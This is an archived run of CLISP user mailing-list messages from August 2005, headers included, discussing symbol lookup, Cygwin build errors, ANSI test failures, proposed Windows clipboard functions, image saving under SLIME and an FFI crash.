Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0305298854@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Tue, 26 Jul 2005 17:37:50 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0305298854@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: idiom for finding symbols in modern packages Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 10 12:21:18 2005 X-Original-Date: Wed, 10 Aug 2005 15:19:07 -0400 > * Hoehle, Joerg-Cyril [2005-07-26 17:37:50 +0200]: > > Is there anything better than > ... (and (find-package "WIN32") > (read-from-string "WIN32:GetCurrentProcessId")) (and (find-package "WIN32") (cs-cl:find-symbol "GetCurrentProcess" "WIN32")) ==> WIN32:GetCurrentProcess ; :EXTERNAL (and (find-package "CL") (cs-cl:find-symbol "car" "CL")) ==> CAR ; :EXTERNAL -- Sam Steingold (http://www.podval.org/~sds) running w2k If a train station is a place where a train stops, what's a workstation? From shutej@google.com Thu Aug 11 13:56:43 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E3K64-0004F0-9c for clisp-list@lists.sourceforge.net; Thu, 11 Aug 2005 13:56:16 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E3K64-0006Up-AG for clisp-list@lists.sourceforge.net; Thu, 11 Aug 2005 13:56:16 -0700 Received: from mirapoint8.corp.google.com (mirapoint8.corp.google.com [172.24.0.44]) by vegeta.corp.google.com with ESMTP id j7BKu386008366 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 11 Aug 2005 13:56:04 -0700 Received: from [172.29.42.82] (dhcp-172-29-42-82.nyc.corp.google.com [172.29.42.82]) by mirapoint8.corp.google.com (MOS 3.5.8-GR) with ESMTP id ACL40907 (AUTH shutej); Thu, 11 Aug 2005 13:56:03 -0700 (PDT) Message-ID: <42FBBB68.3060106@google.com> From: Jeremy Shute User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.2 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -4.3 RCVD_IN_BSP_TRUSTED RBL: Sender is in Bonded Sender Program (trusted relay) [IronPort Bonded Sender - ] Subject: [clisp-list] clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 11 13:58:50 2005 X-Original-Date: Thu, 11 Aug 2005 16:56:08 -0400 Hi, I'm trying to build clisp 2.34 on Cygwin. These are the errors I get: $ ./makemake --with-dynamic-ffi > Makefile && make config.lisp && make && make check make: `config.lisp' is up to date. sh config.status --header=unixconf.h config.status: creating unixconf.h config.status: unixconf.h is unchanged touch unixconf.h echo '#include "unixconf.h"' > tmp.c cat 'intparam.c' >> tmp.c gcc tmp.c -o intparam ./intparam > intparam.h rm -f intparam tmp.c echo '#include "unixconf.h"' > tmp.c cat 'floatparam.c' >> tmp.c gcc tmp.c -o floatparam ./floatparam > floatparam.h rm -f floatparam tmp.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -c spvw.c In file included from spvw.d:24: lispbibl.d:2363:1: warning: "HAS_HOST" redefined lispbibl.d:2359:1: warning: this is the location of the previous definition lispbibl.d:2364:1: warning: "HAS_DEVICE" redefined lispbibl.d:2360:1: warning: this is the location of the previous definition In file included from spvw.d:24: lispbibl.d:9610: warning: register used for two global register variables In file included from spvw.d:24: constobj.d:89: error: duplicate member 'charname_8bis' constobj.d:91: error: duplicate member 'charname_10bis' constobj.d:99: error: duplicate member 'charname_0' constobj.d:106: error: duplicate member 'charname_7' constobj.d:107: error: duplicate member 'charname_8' constobj.d:108: error: duplicate member 'charname_9' constobj.d:109: error: duplicate member 'charname_10' constobj.d:110: error: duplicate member 'charname_11' constobj.d:111: error: duplicate member 'charname_12' constobj.d:112: error: duplicate member 'charname_13' constobj.d:125: error: duplicate member 'charname_26' constobj.d:126: error: duplicate member 'charname_27' constobj.d:131: error: duplicate member 'charname_32' constobj.d:454: error: duplicate member 'backupextend_string' make: *** [spvw.o] Error 1 Is there a patch for this in CVS that just hasn't made it into a release branch yet? I would use the Lisp in a Box version, or the Cygwin package, but I want FastCGI support... Jeremy From sds@gnu.org Thu Aug 11 15:47:52 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E3Lq3-0001d8-9A for clisp-list@lists.sourceforge.net; Thu, 11 Aug 2005 15:47:51 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E3Lq0-0006Bb-W1 for clisp-list@lists.sourceforge.net; Thu, 11 Aug 2005 15:47:51 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7BMlcYP018989; Thu, 11 Aug 2005 18:47:39 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Jeremy Shute Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42FBBB68.3060106@google.com> (Jeremy Shute's message of "Thu, 11 Aug 2005 16:56:08 -0400") References: <42FBBB68.3060106@google.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeremy Shute Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 11 15:49:21 2005 X-Original-Date: Thu, 11 Aug 2005 18:46:54 -0400 > * Jeremy Shute [2005-08-11 16:56:08 -0400]: > > I'm trying to build clisp 2.34 on Cygwin. wfm. could you please try cvs head? -- Sam Steingold (http://www.podval.org/~sds) running w2k Takeoffs are optional. Landings are mandatory. From kavenchuk@jenty.by Fri Aug 12 01:09:21 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E3UbQ-00081l-4o for clisp-list@lists.sourceforge.net; Fri, 12 Aug 2005 01:09:20 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E3UbO-0000oQ-7J for clisp-list@lists.sourceforge.net; Fri, 12 Aug 2005 01:09:20 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id QTVG77GM; Fri, 12 Aug 2005 11:09:52 +0300 Message-ID: <42FC5979.1060105@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] ansi tests filed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 12 01:10:09 2005 X-Original-Date: Fri, 12 Aug 2005 11:10:33 +0300 $ clisp -K FULL --version GNU CLISP 2.34 (2005-07-20) (built 3332819104) (memory 3332819442) Software: GNU C 3.4.2 (mingw-special) gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a /usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2 Features: (ZLIB WILDCARD RAWSOCK POSTGRESQL PCRE DIRKEY REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 WIN32) C Modules: (clisp i18n syscalls regexp dirkey pcre postgresql rawsock wildcard zlib) Installation directory: C:\gnu\home\src\clisp\clisp\build-full\ User language: ENGLISH Machine: PC/386 (PC/?86) stnt067 [150.0.0.200] $ make check-ansi-tests ... APROPOS-LIST.1 APROPOS-LIST.2 APROPOS-LIST.3 APROPOS-LIST.4 APROPOS-LIST.5 APROPOS-LIST.6 APROPOS-LIST.7 APROPOS-LIST.ERROR.1 APROPOS-LIST.ERROR.2 *** - Program stack overflow. RESET (test DESCRIBE.1 filed) Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Fri Aug 12 10:02:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E3cv0-0000Ua-7n for clisp-list@lists.sourceforge.net; Fri, 12 Aug 2005 10:02:06 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E3cux-0000a6-TR for clisp-list@lists.sourceforge.net; Fri, 12 Aug 2005 10:02:06 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp04.mrf.mail.rcn.net with ESMTP; 12 Aug 2005 13:02:02 -0400 X-IronPort-AV: i="3.96,103,1122868800"; d="scan'208"; a="69676663:sNHT20491024" To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42FC5979.1060105@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 12 Aug 2005 11:10:33 +0300") References: <42FC5979.1060105@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ansi tests filed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 12 10:03:00 2005 X-Original-Date: Fri, 12 Aug 2005 13:01:12 -0400 > * Yaroslav Kavenchuk [2005-08-12 11:10:33 +0300]: > > (test DESCRIBE.1 filed) could you please try to figure out which object is being described (*universe* is rather large...) thanks! PS. it's "failed", not "filed" see http://www.m-w.com/cgi-bin/netdict?fail http://www.m-w.com/cgi-bin/netdict?file -- Sam Steingold (http://www.podval.org/~sds) running w2k Garbage In, Gospel Out From shutej@google.com Fri Aug 12 13:53:23 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E3gWn-0004hI-0x for clisp-list@lists.sourceforge.net; Fri, 12 Aug 2005 13:53:21 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E3gWm-0007PX-1t for clisp-list@lists.sourceforge.net; Fri, 12 Aug 2005 13:53:21 -0700 Received: from mirapoint8.corp.google.com (mirapoint8.corp.google.com [172.24.0.44]) by chris.corp.google.com with ESMTP id j7CKr8vI023977 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 12 Aug 2005 13:53:08 -0700 Received: from [172.29.36.243] (shutej.nyc.corp.google.com [172.29.36.243]) by mirapoint8.corp.google.com (MOS 3.5.8-GR) with ESMTP id ACM08891 (AUTH shutej); Fri, 12 Aug 2005 13:53:07 -0700 (PDT) Message-ID: <42FD0C32.6080106@google.com> From: Jeremy Shute User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050519 Red Hat/1.7.8-0.90.1gg1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42FBBB68.3060106@google.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.2 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -4.3 RCVD_IN_BSP_TRUSTED RBL: Sender is in Bonded Sender Program (trusted relay) [IronPort Bonded Sender - ] -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 12 13:54:20 2005 X-Original-Date: Fri, 12 Aug 2005 16:53:06 -0400 I can't get CVS head to build with fastcgi and pcre support, either. I had to do this in order to get this far (and it is probably extraneous in its placement of LTLIBPQ, but it was required in order for the configure file to run and find pcre_compile without failure): ./configure --with-dynamic-ffi --with-module=fastcgi --with-module=pcre LTLIBPQ=/usr/local/lib/libpcre.a cd src LTLIBPQ=/usr/local/lib/libpcre.a ./makemake --with-dynamic-ffi --with-module=fastcgi --with-module=pcre > Makefile make config.lisp make ... When make runs: full/lisp.exe -B . -M full/lispinit.mem -norc -q -i fastcgi/fastcgi -i pcre/pcre -x (saveinitmem "full/lispinit.mem") ...it barfs badly. The "full" subdirectory doesn't seem to exist under "src". "base" exists by that command, but "full" does not. Jeremy Sam Steingold wrote: >>* Jeremy Shute [2005-08-11 16:56:08 -0400]: >> >>I'm trying to build clisp 2.34 on Cygwin. >> >> > >wfm. >could you please try cvs head? > > > > From ampy@ich.dvo.ru Fri Aug 12 23:58:33 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E3pyT-0001zw-5Q for clisp-list@lists.sourceforge.net; Fri, 12 Aug 2005 23:58:33 -0700 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E3pyR-0000EP-EC for clisp-list@lists.sourceforge.net; Fri, 12 Aug 2005 23:58:33 -0700 Received: from lenin (host-206-210.hosts.vtc.ru [212.16.206.210]) by vtc.ru (8.13.4/8.13.4) with ESMTP id j7D6wCf6007144 for ; Sat, 13 Aug 2005 17:58:13 +1100 From: Arseny Slobodyuk X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodyuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <6980375.20050813175556@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] clipboard functions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 12 23:59:11 2005 X-Original-Date: Sat, 13 Aug 2005 17:55:56 +1100 Hi, I've implemented following functions on Windows /* (EXT::SETCLIPBOARD str) puts str, which should be a string to Windows clipboard. On NT put it as CF_UNICODETEXT, on Windows 95/98 - as CF_TEXT (translates to ANSI character set using *MISC-ENCODING*). returns: T on success, NIL otherwise.*/ /* (EXT::GETCLIPBOARD) Return the textual contents of Windows clipboard. First try to get it as CF_UNICODETEXT, then CF_TEXT. returns: string or NIL (on failure or when no text available */ and want to: 1. Leave them in base distribution (since it is not so easy to compile and link POSIX in MSVC). May I? 2. Export them from EXT, in which lisp file is better to do it? 3. Make short abbreviations to them and to (eval (read-from-string (ext:getclipboard))) or probably something more complicated to handle NIL (To encourage users to use it). This was inspired by "spurious #\L problem". -- Best regards, Arseny From c.turle@wanadoo.fr Sat Aug 13 01:33:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E3rS6-0005i8-Ok for clisp-list@lists.sourceforge.net; Sat, 13 Aug 2005 01:33:14 -0700 Received: from smtp12.wanadoo.fr ([193.252.22.20]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E3rS6-0006rV-GF for clisp-list@lists.sourceforge.net; Sat, 13 Aug 2005 01:33:14 -0700 Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1209.wanadoo.fr (SMTP Server) with ESMTP id E4C911C000B1 for ; Sat, 13 Aug 2005 10:33:06 +0200 (CEST) Received: from verbobonc (ARennes-352-1-47-202.w81-250.abo.wanadoo.fr [81.250.222.202]) by mwinf1209.wanadoo.fr (SMTP Server) with SMTP id 9BBB71C000A5 for ; Sat, 13 Aug 2005 10:33:06 +0200 (CEST) X-ME-UUID: 20050813083306638.9BBB71C000A5@mwinf1209.wanadoo.fr Message-ID: <000701c59fe1$a170a820$0e01a8c0@verbobonc> From: "christophe turle" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] saving an image with slime ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 13 01:34:09 2005 X-Original-Date: Sat, 13 Aug 2005 10:33:06 +0200 hi all, I have a project running for 6 months now. But in september, my company will change home. So we have to shutdown our computers. The problem is that i can't reload all the project from src files (they are no more loadable since i made lots of structural changes, dependencies ...). I'm using Slime + CLisp. But the last time, i try to save an image, at restart i had lots of problems : ... stack-overflow ... So, my question is how can i save an image currently running slime + clisp and how to restart all of this. Christophe Turle. From lisp-clisp-list@m.gmane.org Sat Aug 13 13:54:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E431N-0004Mn-BL for clisp-list@lists.sourceforge.net; Sat, 13 Aug 2005 13:54:25 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E431M-0003bT-4Z for clisp-list@lists.sourceforge.net; Sat, 13 Aug 2005 13:54:25 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1E430A-0004dh-CK for clisp-list@lists.sourceforge.net; Sat, 13 Aug 2005 22:53:10 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 13 Aug 2005 22:53:10 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 13 Aug 2005 22:53:10 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 51 Message-ID: <3bpdzhj3.fsf@netscape.net> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:1paM/XbhB1Re6fgx6+uXhCZAfOY= X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Comparing foreign pointers & lisp crash Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 13 13:55:11 2005 X-Original-Date: Sat, 13 Aug 2005 13:52:16 -0700 Hi, [1] First I will mention the lisp crashing part. This variable assignment below though incorrect should not make lisp crash, rather a warning would be helpful. (ffi:with-c-var (x `(ffi:c-ptr ffi:int)) (setf x 5)) The error message is: *** - handle_fault error2 ! address = 0x0 not in [0x19d70000,0x19ec121c) ! I am using clisp 2.34 on windows. (ffi:with-c-var (x `(ffi:c-pointer ffi:int)) (setf x 5)) Gives the correct error message that: 5 cannot be converted to the foreign type 